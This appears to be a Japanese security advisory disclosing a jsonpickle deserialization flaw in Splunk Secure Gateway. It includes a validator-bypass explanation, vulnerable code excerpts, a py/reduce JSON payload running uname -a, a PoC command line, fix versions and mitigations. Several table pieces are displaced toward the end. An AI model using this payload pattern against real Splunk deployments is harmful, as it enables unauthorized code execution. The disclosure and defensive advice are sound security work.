
CVE-2026-20251 — Splunk Secure Gateway jsonpickle デシリアライゼーション RCE (CVSS 8.8) | ReactiveZero Security Research
研究者: Fady Oueslati · ReactiveZero Security Research
参照: 2026FO-SPLUNK-20251
CVSS: 8.8 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)
ステータス: 公開中 — パッチ提供済み
低権限の認証済みユーザーが、KV ストア(mobile_alerts コレクション)に細工されたドキュメントを保存することで、Splunk ホスト上で リモートコード実行 を達成できます。Splunk Secure Gateway(SSG)は、後でそのドキュメントを読み取り、jsonpickle.decode() に直接渡し、任意の Python オブジェクト(OS コマンドを実行するものを含む)を再構築します。
この呼び出しでは safe=True が設定されていますが、このフラグは従来の py/repr eval パスのみをゲートします。py/reduce、py/object、py/type、py/function、py/module の各タグは影響を受けず、完全に悪用可能です。
別のバリデーター(check_alert_data_valid_json)は危険なタグをブロックすることを目的としていますが、最初に認識されたキーで短絡します。許可された py/object(値が spacebridgeapp で始まる)が最初のトップレベルキーとして存在するドキュメントは、直ちに True を返し、悪意のある py/reduce ガジェットを含む兄弟キーはまったく検査されません。
| ブランチ | 修正バージョン |
|---|---|
| Splunk Secure Gateway 3.9.x | 3.9.20 |
| Splunk Secure Gateway 3.10.x | 3.10.6 |
| Splunk Secure Gateway 3.8.x |
テストインスタンス: SSG 3.9.19(Splunk Enterprise 10.0.6、macOS x86_64)。
Step 0 低権限の攻撃者が、Splunk REST API を介して KV ストアコレクション
'mobile_alerts' に細工されたバイパスドキュメントを書き込みます。
管理者やパワーロールは不要です。
Step 1 SSG がアラートフェッチリクエストを処理します。
alerts_request_processor.py がドキュメントを読み取り、
check_alert_data_valid_json() に渡します。
→ バリデーターは最初のキーとして "py/object": "spacebridgeapp..." を認識し、
True を返し、py/reduce ガジェットを持つ兄弟キー "notification" を
決して検査しません。
Step 2 (検証済みとなった)ドキュメントが
jsonpickle.decode(..., safe=True) に渡されます。
jsonpickle はルアーの Alert オブジェクトを loadclass() でロードし、
インスタンス化した後、保存された属性を反復処理します。
"notification" の値に到達すると、_restore_reduce() が発動します:
stage1 = f(*args) # unpickler.py ~line 526
safe=True はこのコードパスに影響を与えません。
結果 Splunk サービスアカウントとして任意のコード実行が行われます。
必要なのは、有効な低権限 Splunk ログインのみです。
{
"py/object": "spacebridgeapp.data.alert_data.Alert",
"notification": {
"py/reduce": [
{"py/function": "subprocess.check_output"},
{"py/tuple": [["uname", "-a"]]}
]
}
}
バリデーターは最初に py/object を検査し(許可されている)、True を返し、notification には到達しません。
poc_cve_2026_20251.py は、完全なエクスプロイトチェーンを構成する2つの条件を示しています。
| サブプルーフ | 内容 |
|---|---|
ペイロードは意図的に無害(読み取り専用の uname -a)です。これは 武器化されたエクスプロイトではありません。
jsonpickle へのアクセス(/Applications/Splunk/etc/apps/splunk_secure_gateway/lib から読み込み)python3 poc_cve_2026_20251.py -h 127.0.0.1
本番環境や、自分が所有しておらず明示的な書面によるテスト許可を得ていないシステムに対して実行しないでください。
ファイル: bin/spacebridgeapp/request/alerts_request_processor.py
alert_json = await response.json()
if not check_alert_data_valid_json(alert_json[0]):
raise SpacebridgeApiRequestError("alert_data is not valid", ...)
alert = jsonpickle.decode(json.dumps(alert_json[0]), safe=True) # ← シンク
ファイル: bin/spacebridgeapp/rest/devices/alert_helper.py
# バリデーターは最初の 'py' プレフィックス付きキーで短絡します:
for key, value in data.items():
if key.startswith("py"):
if key == "py/id":
return value.isinstance(int)
elif key == "py/object":
return value.startswith("spacebridgeapp") # ← すぐに返る
else:
return False
# ... 兄弟キーには決して到達しません
主要: Splunk Secure Gateway を修正バージョン(3.9.20+、3.10.6+、または 3.8.67+)にアップグレードし、Splunk Enterprise を 10.0.7+ / 10.2.4+ / 10.4.0+ にアップグレードしてください。
短期緩和策(パッチ適用が直ちにできない場合):
mobile_alerts のコレクションレベル ACL を見直す防御的なエンジニアリングパターン: 外部から影響を受ける保存データから決して任意の型を再構築しないでください。攻撃者が到達可能な入力に対する jsonpickle.decode() を、厳格なスキーマ検証付きパーサーに置き換えるか、decode() に明示的な classes= 許可リストを提供してください。バリデーションルーチンは、最初に認識されたキーで短絡するのではなく、ネストされた構造を完全に走査するようにしてください。
同じアドバイザリバッチには CVE-2026-20253(CVSS 9.8、PostgreSQL サイドカーエンドポイントを介した認証不要の任意のファイル作成)が含まれています。この脆弱性は、テストした macOS x86_64 ビルドの Splunk Enterprise 10.0.6 には存在しませんでした。このプラットフォームでは PostgreSQL サイドカーコンポーネントは出荷されておらず、サイドカーバイナリやプロセスは存在せず、対応するポートも観測されませんでした。
これは重要な保証原則を示しています: 影響を受けるバージョン文字列は、悪用可能性の必要条件ではありますが十分条件ではありません。コンポーネントレベルの検証は、実際のリスク像を大きく変えます。
| フィールド | 値 |
|---|---|
| エンゲージメント参照 | 2026FO-SPLUNK-20251 |
| テストタイプ | ホワイトボックス脆弱性検証(静的コード解析) |
| 日付 | 2026年6月26日 |
| スコープ |
ReactiveZero Security Research
| 3.8.67 |
| Splunk Enterprise | 10.0.7 / 10.2.4 / 10.4.0+ |
| A — バリデーターのバイパス |
check_alert_data_valid_json() がバイパスドキュメントに対して True を返し、兄弟値の py/reduce ガジェットを一切検査しない |
| B — py/reduce の実行 | jsonpickle.decode(..., safe=True) が subprocess.check_output(['uname', '-a']) を実行し、safe=True がこのコードパスをゲートしないことを証明 |
| ローカル Splunk Enterprise 10.0.6 研究インスタンス(127.0.0.1:8089) |
| 分類 | 機密 |